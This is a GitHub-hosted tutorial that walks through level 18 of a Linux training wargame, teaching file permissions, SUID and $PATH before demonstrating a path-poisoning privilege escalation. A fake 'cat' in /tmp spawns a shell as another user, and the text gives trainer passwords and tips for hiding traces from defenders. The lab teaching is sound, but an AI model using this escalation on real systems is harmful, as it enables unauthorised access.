Permalink
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
DansALLNotes/Tutorials/Permissions.md
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
665 lines (499 sloc)
23 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Linux Trainer, Level 18 | |
This is a writup / tutorial for Level 18 of the Linux trainer. The | |
level brings together several concepts, and allows us to make a | |
privilege (privesc) exploit, changing the current user to one with | |
more permissions. | |
While the example is a little contrived, Privesc is a common task in | |
CTF (and pen testing) where we want to move from a low privileged | |
user (usually from our foothold), to one with greater permissions. In | |
a CTF it means we get more flags, in the real world it generally means | |
we have greater control over the system. | |
The particular attack we are using here is called *path poisoning*, | |
and gives us a nice way of running a user controlled file, rather than | |
the expected system file. | |
## Unix style permissions | |
The first concept we will revisit is permissions: (Taken from Level 16 of the Linux Trainer) | |
Access control is an important part of security. Allowing users | |
access to only relevant files on the OS, means that multi-user systems | |
can be possible. | |
One way that Linux deals with Access control, is through the use of | |
file systems permissions. | |
### Owners and Groups | |
Each file has permissions for three different categories of user. | |
- Each file has an *owner*, the user that the file belongs to. | |
- Users can be in a *group* a collection of users who should share | |
permissions and settings. For example users in the *sudoers* group | |
can use the sudo command to temporarily upgrade privileges. | |
- Finally the *world* category, represents all users on the system. | |
### File Access permissions | |
There are also three types of access permission. | |
- *read*: users in this category can read the contents of this file | |
- *write*: users with this permission can write the contents of this file | |
- *execute* users with this permission can run the file | |
### Viewing Permissions | |
Using **ls -l**, will show the permissions of files in *long* format. | |
This includes information including the *access permissions* and | |
*owners* for the file. | |
Each line of output will take the following form: | |
~~~.term | |
-rw-r--r-- 1 dang dang 0 Nov 26 13:43 bar.txt | |
~~~ | |
Which can be broken down into | |
~~~.term | |
[Permissions] [Size] [Owner] [Group] [Date] [Filename] | |
~~~ | |
### Example | |
Consider the following | |
~~~.term | |
dang@dang-laptop /tmp/demo % ls -l | |
total 0 | |
-rw-r--r-- 1 dang dang 0 Nov 26 13:43 bar.txt | |
-rwxr-xr-x 1 dang dang 0 Nov 26 13:43 baz.txt | |
-rw-r--r-- 1 ftp root 0 Nov 26 13:43 foo.txt | |
~~~ | |
We have the files | |
-**bar.txt** | |
- Owner / Group *dang* | |
- *dang* has **read** and **write** permissions | |
- *world / group* have **read** permissions | |
- **baz.txt** | |
- Owner / Group *dang* | |
- *dang* has **read**,**write** and **execute** permissions | |
- *world / group* have **read** and **execute** permissions | |
-**foo.txt** | |
- Owner *ftp* | |
- Group *root* | |
- *ftp* user has **read** and **write** permissions | |
- *world / group* have **read** permissions | |
So permissions give us a nice way to restrict access to files on the | |
system, and segreate who can access what. However... | |
\clearpage{} | |
## The need to run commands as an Elevated user. | |
![Obligatory XKCD Sudo Comic](https://imgs.xkcd.com/comics/sandwich.png) | |
One of the problems with a multi user system is access control and | |
permissions. Giving every user administrative rights is an incredibly | |
bad idea, so we tend to segregate users into "Standard" accounts and | |
"Superusers" (root in Linux terminology). The standard user will be | |
limited in what they can do, to prevent malicious (or accidental) | |
damage to the system. | |
> Its also a really bad idea, to run ANY account as Root by default, | |
> most of the time we shouldn't need superuser access for our day to | |
> day tasks, giving us another good reason to limit what people can | |
> do. One of the reasons I disagree with Kali's "root as default" user | |
> setup | |
Part of the solution to this problem is to create a new group of users | |
who run as standard level accounts, but can run with elevated | |
privileges when needed. The SUDO (Super User Do) command, allows | |
members of this group to run a command as root. You will almost | |
certainly have come across SUDO before during the course, when | |
updating the system or running more interesting commands. | |
SUDO goes some way towards solving the problem of giving users the | |
ability to have root privileges, without needing to be root, but | |
still leaves us with a dilemma. Sometimes a common program will need | |
to run with elevated privileges, for example if it need to access low | |
level system resources, or privileged information. | |
Lets examine the common task of changing passwords. Evidently the file | |
containing the hashed passwords should be secure, and only accessible | |
by privileged users. However, if a user wants to change their own | |
password we have a problem: | |
- Either the unprivileged user needs to be able to access the | |
password list (which makes securing it pointless) | |
- Everybody who may change their password needs SUDO rights. (Which | |
defeats the point of them in the first place) | |
- The user would have to give their password to the systems admin to | |
get it changed (Letting others know your password is also a bad thing) | |
So we need some way of allowing a user to temporary elevate their | |
privileges to run a command. | |
### Using Misconfigured services to elevate permissions | |
Ironically, it is this need to temporarily elevate privileges for a | |
"good reason" that provides the opportunity for many privesc attacks. | |
Many of these problems come through the administrator not configuring | |
the system correctly. This is easier that it appears, many commands | |
have extra functionality that changes the way it behaves, or allow us | |
to start secondary processes. | |
## SUID to elevate permissions | |
> OK: I lied when i talked about permissions earlier. As well as RWX | |
> there are some "special" permissions that can be used. | |
We cant give everyone with SUDO rights, and setting up the individual | |
sudo permissions is a bit of a PITA when you get to thousands of users | |
or very commonly used files. | |
Linux addresses this problem of everyone needing elevated privileges | |
by using the SUID and SGID permissions flag. This is a special | |
setting for the standard file permissions that allows a program to be | |
run with the privileges of either the Owner (SUID) or Group (SGID). | |
Essentially this allows a user to run a program as a different user, | |
and gives admins control over who (or what) can access files. | |
Lets use the passwd command as an example. This is owned by the | |
*root* user, meaning it can access the privileged files required, but | |
has the SUID bit set. This means that users can run the (well tested, | |
and checked for security flaws) program as root allowing them to | |
change their own password. | |
Lets check the permissions for ```/bin/passwd``` | |
~~~.term | |
$ ls -l /bin/passwd | |
-rwsr-xr-x 1 root root 63624 Jul 31 20:12 /bin/passwd | |
~~~ | |
You can see we have the *s* flag in the Execute portion of the user. | |
this shows that the SUID bit is set, and the program will run with the | |
privileges of the user (in this case root) | |
> Note: To see the elegance of 'Nix based systems, checkout the | |
> permissions for the sudo command. There is an octocat sticker | |
> whoever writes me the best explanation of whats going on here. | |
Given that SUID files allow us to run commands as a privileged user, | |
they can often be the weak point that allows us to gain further | |
control of a system. It is always worthwhile to see what SUID files | |
are available on the system, using a tool like **find**, to look for | |
anything unusual that could be an entrypoint. | |
\clearpage{} | |
## The $PATH | |
When we want to run a system level command (for example ```ls```) the | |
OS needs to know where to find the executable we are looking for. We | |
have a couple of options here: | |
1. Hard Code all run-able commands (which is a silly idea, as it | |
means we wouldn't be able to install anything) | |
1. Hard Code the place where run-able commands are stored. (a less | |
silly idea. However, we still lack some flexibility in where we | |
can place executable, and it can lead to problems with "local | |
user " installs, where a user can install their own version of a | |
program), or where programs with a lot of executable (for | |
example ```perl`` on my system) are used, and it makes sense to | |
logically separate these into their own directory. | |
1. Store the possible locations of the binary in some user level | |
variable. This means that we get a decent level of flexibility in | |
the global locations our system will look for executable, whilst | |
also giving the user control of locations that software is | |
installed locally. | |
The $PATH system variable tells Linux (and windows) systems where to | |
find executable commands. Its a really useful thing, as it allows us | |
to call commands like ```ls``` (/usr/bin/ls) or ```cat``` | |
(/usr/bin/cat) from any directory without specifying the full path. | |
We can see the actual location of a binary in the fileystems using either ```which``` or ```whereis``` | |
~~~ bash | |
$which ncat | |
/usr/bin/ncat | |
$whereis ncat | |
ncat: /usr/bin/ncat /usr/share/ncat /usr/share/man/man1/ncat.1.gz | |
~~~ | |
When a command it called, the OS looks in each location specified in | |
the $PATH for the command and executes the first match it comes | |
across. | |
> NOTE: This can be the source of trolling, I updated python on my | |
> system with a manually compiled version. However, the installer file | |
> placed it lower in the $PATH than the original python. There was | |
> about half an hour of Cussing, while the system kept running the old | |
> version. | |
$PATH consists of a list of locations separated by colons, For example | |
the $PATH on my system looks like this | |
~~~ bash | |
$echo $PATH | |
/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/lib/jvm/default/bin:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl | |
~~~ | |
Therefore when I call a command, the system looks in: | |
- ```/usr/local/sbin``` | |
- ```/usr/local/bin``` | |
- ```/usr/bin``` | |
- ... | |
- ```/usr/bin/core_perl``` | |
As we step through each directory, if the request file is found it is executed and the search ends. | |
Lets say we are looking for ```ncat``` (which lives in /usr/bin) we get: | |
- ```/usr/local/sbin``` (Fails) | |
- ```/usr/local/bin``` (Fails) | |
- ```/usr/bin``` (Success, Run command and Exit) | |
> NOTE: As a point of interest, this is why we usually have to run | |
> ./<command> if we are executing a file in the current working | |
> directory. | |
> | |
> If we specify a full path (either absolute or relative) to the | |
> file. The OS will look in that location (and only that | |
> location). Otherwise, the OS makes use of the $PATH variable to look | |
> for the relevant file. As the current directory is unlikely to be | |
> in the $PATH, then the system is unable to find the command. We | |
> also know that "." is a special path, representing the current | |
> directory. Therefore "./<command>" is an (relative) path, which | |
> means that the current directory it the first and only place we | |
> look. | |
### Modifying the path. | |
As a system variable, we can modify the path in user space. There are two ways of doing this: | |
The first approach is to use the EXPORT command to set the path for that terminal session. | |
~~~.term | |
EXPORT PATH=<whatever> | |
~~~ | |
So to set the $PATH to be ```/tmp``` we could use ```EXPORT | |
PATH=/tmp``` | |
We hit our first Gotcha here. This command will set the $PATH to be | |
only ```tmp```, which means all the usual places are removed and the | |
OS cannot find anything. A much better approach is to *prepend* the | |
desired directory to the current path using | |
~~~.term | |
EXPORT PATH=<whatever>:$PATH | |
#For example prepend /tmp | |
EXPORT PATH=/tmp:$PATH | |
~~~ | |
The other approach is to set the path on a "per command" basis. I | |
much prefer this as it means we are not leaving traces of the modified | |
path lying around for the blue team to find. We can do this by | |
calling the PATH string before our command. | |
~~~ | |
PATH=/tmp:$PATH <program> | |
~~~ | |
\clearpage{} | |
# Putting it all Together. | |
We have introduced a load of concepts there. Lets put them together | |
and see how we can make use of them to exploit a system. | |
For this I will walk through level18 on the Linux trainer. | |
- username: level18 | |
- password: 0ad360e45e0ab518ed1c01dc5bfdde20 | |
~~~ | |
$ ssh level18@172.17.0.3 | |
level18@172.17.0.3's password: | |
Linux 18f7df960aa1 5.3.5-arch1-1-ARCH #1 SMP PREEMPT Mon Oct 7 19:03:08 UTC 2019 x86_64 | |
###################################################################### | |
CUEH Linux Tranier V0.1 | |
A war game style challenge to help you learn the basics of the Linux | |
command line. | |
The Documentation for (almost) every level is contained within a man | |
page. You can view this using the command **man** | |
For example, to see the documetation for level1 type | |
$man level1 | |
comments, or suggestions for levels to aa9863@coventry.ac.uk | |
Have fun. | |
##################################################################### | |
level18@18f7df960aa1:~$ | |
~~~ | |
## Finding the Vulnerable File: Permissions | |
If we look at the contents of the current directory, we see what we have to work with. | |
~~~ | |
level18@18f7df960aa1:~$ ls -l | |
total 32 | |
-r-------- 1 elev18 elev18 36 Apr 23 09:52 File.txt | |
-r-------- 1 elev18 elev18 64 Apr 23 09:52 Pass.txt | |
---s--x--x 1 elev18 level18 16624 Apr 23 09:52 runme | |
-rwxr--r-- 1 level18 level18 141 Apr 23 09:52 source.c | |
level18@18f7df960aa1:~$ | |
~~~ | |
Paying attention to the permissions here we have: | |
- two files that we cannot access: | |
- A text file called ```File.txt``` that is Owned (and only | |
readable) by the *elev18* user | |
- A text file called ```Pass.txt``` that is Owned (and only | |
readable) by the *elev18* user | |
- An executable ```runme```, which is owned by the *elev18* user, | |
and will run with SUID permissions. | |
- The source code for our Runme program ```source.c``` which we can | |
read. | |
Awesome, we have the first piece of our puzzle. Executable with SUID | |
permissions, that *may* (and as its a CTF box, its likely), have a | |
vulnerability. | |
Lets run the program and see what happens. | |
~~~ | |
level18@18f7df960aa1:~$ ./runme | |
Attempting to access file: | |
Access Pass.txt to get the password | |
~~~ | |
So, the program output shows the code access a file, then displays a | |
help message to push us in the right direction. | |
## Looking at the source | |
Next lets examine the source code for the binary in ```source.c``` | |
(OK, we wont usually find the source, but this is the first couple of | |
weeks, so I am being generous, We could however use ```strings``` or | |
```objdump``` to try to work out what is going on) | |
~~~.c | |
level18@18f7df960aa1:~$ cat source.c | |
#include <stdio.h> | |
#include <stdlib.h> | |
void main(void){ | |
printf("Attempting to access file:\n"); | |
system("cat /home/level18/File.txt"); | |
} | |
~~~ | |
If we cross reference that against the output of the program, its | |
clear what is going on. | |
- ```printf("Attempting to access file:\n");``` Display a message to the screen | |
- ```system("cat /home/level18/File.txt");``` Use the dreaded ```system``` call to access a file. | |
Now, our developer has done something right, by hard-coding the address | |
of the file we are trying to access. However, they have made a | |
mistake in the way the ```cat``` function is being called. By not | |
specifying a full path to the file, they are relying on the OS using the | |
$PATH to find the program. As we can control the $PATH, then we may | |
have a way to modify the behaviour of the code. | |
> NOTE: This isn't something you will find *that* often. | |
> However, sometimes a developer try's to make the program "platform | |
> independent" (as there is still no agreement on which /bin directory | |
> things go in), which gives us a way in. | |
Therefore our proof of concept attack looks something like this: | |
1. Create our own version of ```cat```, that does something interesting | |
1. Modify the $PATH so our version of ```cat``` is the first one that is found | |
1. ..... | |
1. Profit | |
## Getting A Cat to do what we want it to do | |
Before we drop a shell, lets create a less evil cat (Mr tiddles) to | |
help illustrate what is going to happen. | |
We create the file in the */tmp* directory (You can use anywhere, but | |
/tmp is a good habit to get into, firstly it gets wiped on reset, and | |
secondly on CTF's like hack the box, its less likely to be interfered | |
with than doing it in user. Personally, on HTB I do most of my work in | |
/tmp/.dang/) | |
We pick a command such as ```id``` and add it to a file called ```/tmp/cat``` | |
~~~ | |
#Find the full path to id | |
level18@18f7df960aa1:~$ which id | |
/usr/bin/id | |
#Echo it to a file. Quotes are important here! (You could also use Nano) | |
level18@18f7df960aa1:~$ echo "/usr/bin/id" > /tmp/cat | |
#Check that things worked properly | |
level18@18f7df960aa1:~$ cat /tmp/cat | |
/usr/bin/id | |
~~~ | |
We then make our new version of cat executable, and check it works as expected. | |
~~~ | |
level18@18f7df960aa1:~$ chmod +x /tmp/cat | |
level18@18f7df960aa1:~$ /tmp/cat | |
uid=1019(level18) gid=1019(level18) groups=1019(level18) | |
level18@18f7df960aa1:~$ | |
~~~ | |
> NOTE: If you have any experience with Cats for the furry kind, This | |
> is probably the first time a cat has actually done what you want it | |
> to. | |
Cool, so we have a program called *cat* that runs the *id* command. | |
Now lets try running it with a modified path, where the ```/tmp``` is the first location | |
~~~ | |
level18@18f7df960aa1:~$ PATH=/tmp:$PATH cat | |
uid=1019(level18) gid=1019(level18) groups=1019(level18) | |
level18@18f7df960aa1:~$ | |
~~~ | |
Or alternatively, perma setting the $PATH | |
~~~ | |
level18@18f7df960aa1:~$ export PATH=/tmp:$PATH | |
level18@18f7df960aa1:~$ cat | |
uid=1019(level18) gid=1019(level18) groups=1019(level18) | |
~~~ | |
So whats happening here: | |
1. Cat command is called, as no path is specified the OS uses the system $PATH | |
1. First place in the $PATH is ```/tmp``` Which contains a program called ```cat``` | |
1. OS runs this version of ```cat``` and stops its search, without | |
going anywhere near the intended program. | |
We can now check what happens if we run our vulnerable file, using the modified version of cat, and $PATH | |
~~~ | |
$ PATH=/tmp:$PATH ./runme | |
Attempting to access file: | |
uid=1019(level18) gid=1019(level18) euid=1020(elev18) groups=1019(level18) | |
level18@18f7df960aa1:~$ | |
~~~ | |
This time, we have different behaviour from the ID command, which | |
displays the **euid** (Effective User Id) as elev18. | |
Cool, so we are now able to run the ```id``` command as a different user. | |
## Getting a shell | |
It would be no fun if we didn't use our exploit to get a shell. | |
We modify ```/tmp/cat``` to call ```/bin/sh``` shell (NOTE: | |
/bin/bash will not work. You may want to check the manpage for system | |
to work out why this is.) | |
~~~ | |
level18@18f7df960aa1:~$ cat /tmp/cat | |
/bin/sh | |
~~~ | |
Now in theory, our program will | |
- Search the path for ```cat``` | |
- Find our evil version in ```/tmp``` | |
- Execute the contents of the file as the *elev18* user | |
- Which means we get a new shell as the *elev18* user | |
~~~ | |
level18@18f7df960aa1:~$ PATH=/tmp:$PATH ./runme | |
Attempting to access file: | |
$ whoami | |
elev18 | |
$ id | |
uid=1019(level18) gid=1019(level18) euid=1020(elev18) groups=1019(level18) | |
~~~ | |
We get the *sh* prompt ($) and can confirm we are the *elev18* user with whoami. | |
### Reading the file from our privileged shell, The problem of nested Cats | |
There is a final bit of Trolling / Learning before we can access the flag file. | |
You may notice if we try to access the file using ```cat``` as we have before, nothing happens | |
~~~ | |
$ ls | |
File.txt Pass.txt runme source.c | |
$ cat Pass.txt | |
$ | |
~~~ | |
This is (again) due to the $PATH. As we have set it per command | |
session then ```/tmp``` remains at the start of the path. Therefore | |
any call to cat will call our evil version at ```/tmp/cat```, which | |
then drops another ```sh``` shell. | |
You can see from the process list, that after a couple of times, we have several shell processes spawned. | |
~~~ | |
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND | |
elev18 48 0.0 0.0 4168 588 pts/0 S 21:20 0:00 ./runme | |
elev18 49 0.0 0.0 4276 792 pts/0 S 21:20 0:00 sh -c cat /home/level18/File.txt | |
elev18 50 0.0 0.0 4276 752 pts/0 S 21:20 0:00 /bin/sh /tmp/cat /home/level18/F | |
elev18 51 0.0 0.0 4276 736 pts/0 S 21:20 0:00 /bin/sh | |
elev18 55 0.0 0.0 4276 744 pts/0 S 21:23 0:00 /bin/sh /tmp/cat Pass.txt | |
elev18 56 0.0 0.0 4276 744 pts/0 S 21:23 0:00 /bin/sh | |
elev18 58 0.0 0.0 36632 2844 pts/0 R+ 21:25 0:00 ps -ux | |
$ | |
~~~ | |
We can work around this in several ways. Either using an alternative | |
program (such as less or nano) to access the flag file, of make a call | |
to the original version of cat using a full path | |
~~~ | |
$ whereis cat | |
cat: /bin/cat /tmp/cat /usr/share/man/man1/cat.1.gz | |
$ /bin/cat Pass.txt | |
Password for the next level is 84d284bda556887dfe827bb9ddba6cc1 | |
$ | |
~~~ | |
# Summary: | |
This was a walkthrough of Level 18 of the Linux trainer, and the | |
Theory behind the attack | |
Path poisoning is where we take advantage of a poorly written program | |
and modify its behaviour. It occurs because the developer has not | |
hard coded paths to executable, instead relying on the systems $PATH | |
variable to find the desired program. | |
As the $PATH is controllable by the user, we can change where the OS | |
looks for the system command the developer was wanting to call. | |
By creating our own version of the system command, and putting its | |
location at the start of the $PATH, we can get the OS to execute other | |
programs, this will usually be a shell, but could also be used to get | |
data from protected parts of the system, or other such fun things. | |
We also took advantage of the binary having the SUID bit set to get an | |
elevated shell, running as a different user. | |
Our proof of concept for the Exploit was | |
1. Identify Interesting Binaries on the file system | |
- Those with SUID bit set | |
- Those that make use of the System() call | |
1. Check these for Vulnerabilities | |
- Non hardcoded paths for System | |
1. Create a modified version of the command in the System() call | |
- In this case it was ```cat``` | |
1. Run our program using a modified path to call our version of the command | |
1. Profit | |
\clearpage{} | |
# Trolled by Permissions: An Alternate approach to getting the flag | |
To demonstrate how easy it is to make the mistakes that allow people | |
to access restricted files, try the following: | |
~~~ | |
#Delete File | |
level18@18f7df960aa1:~$ rm File.txt | |
rm: remove write-protected regular file 'File.txt'? y | |
#Overwrite with Pass.txt | |
level18@18f7df960aa1:~$ mv Pass.txt File.txt | |
#Check permissions and Access | |
level18@18f7df960aa1:~$ ls -l | |
total 28 | |
-r-------- 1 elev18 elev18 64 Apr 23 09:52 File.txt | |
---s--x--x 1 elev18 level18 16624 Apr 23 09:52 runme | |
-rwxr--r-- 1 level18 level18 141 Apr 23 09:52 source.c | |
level18@18f7df960aa1:~$ cat File.txt | |
cat: File.txt: Permission denied | |
level18@18f7df960aa1:~$ | |
#Run our Program | |
level18@18f7df960aa1:~$ ./runme | |
Attempting to access file: | |
Password for the next level is 84d284bda556887dfe827bb9ddba6cc1 | |
level18@18f7df960aa1:~$ | |
~~~ | |
So even though we don't have permission to delete, or modify File.txt | |
or Pass.txt, we are able to. Why is this?? | |
Read about the inode permissions on directory's and try to find out. | |
# Further Reading. | |
- [Linux.com article on Permission](https://www.linux.com/learn/understanding-linux-file-permissions) | |
- [Pentester Lab article on SUID and Find](https://pentestlab.blog/tag/find/) | |
- [GTFO bins](https://gtfobins.github.io/) An excellent resource of binaries useful for privilege escalation, and escaping restricted environments. | |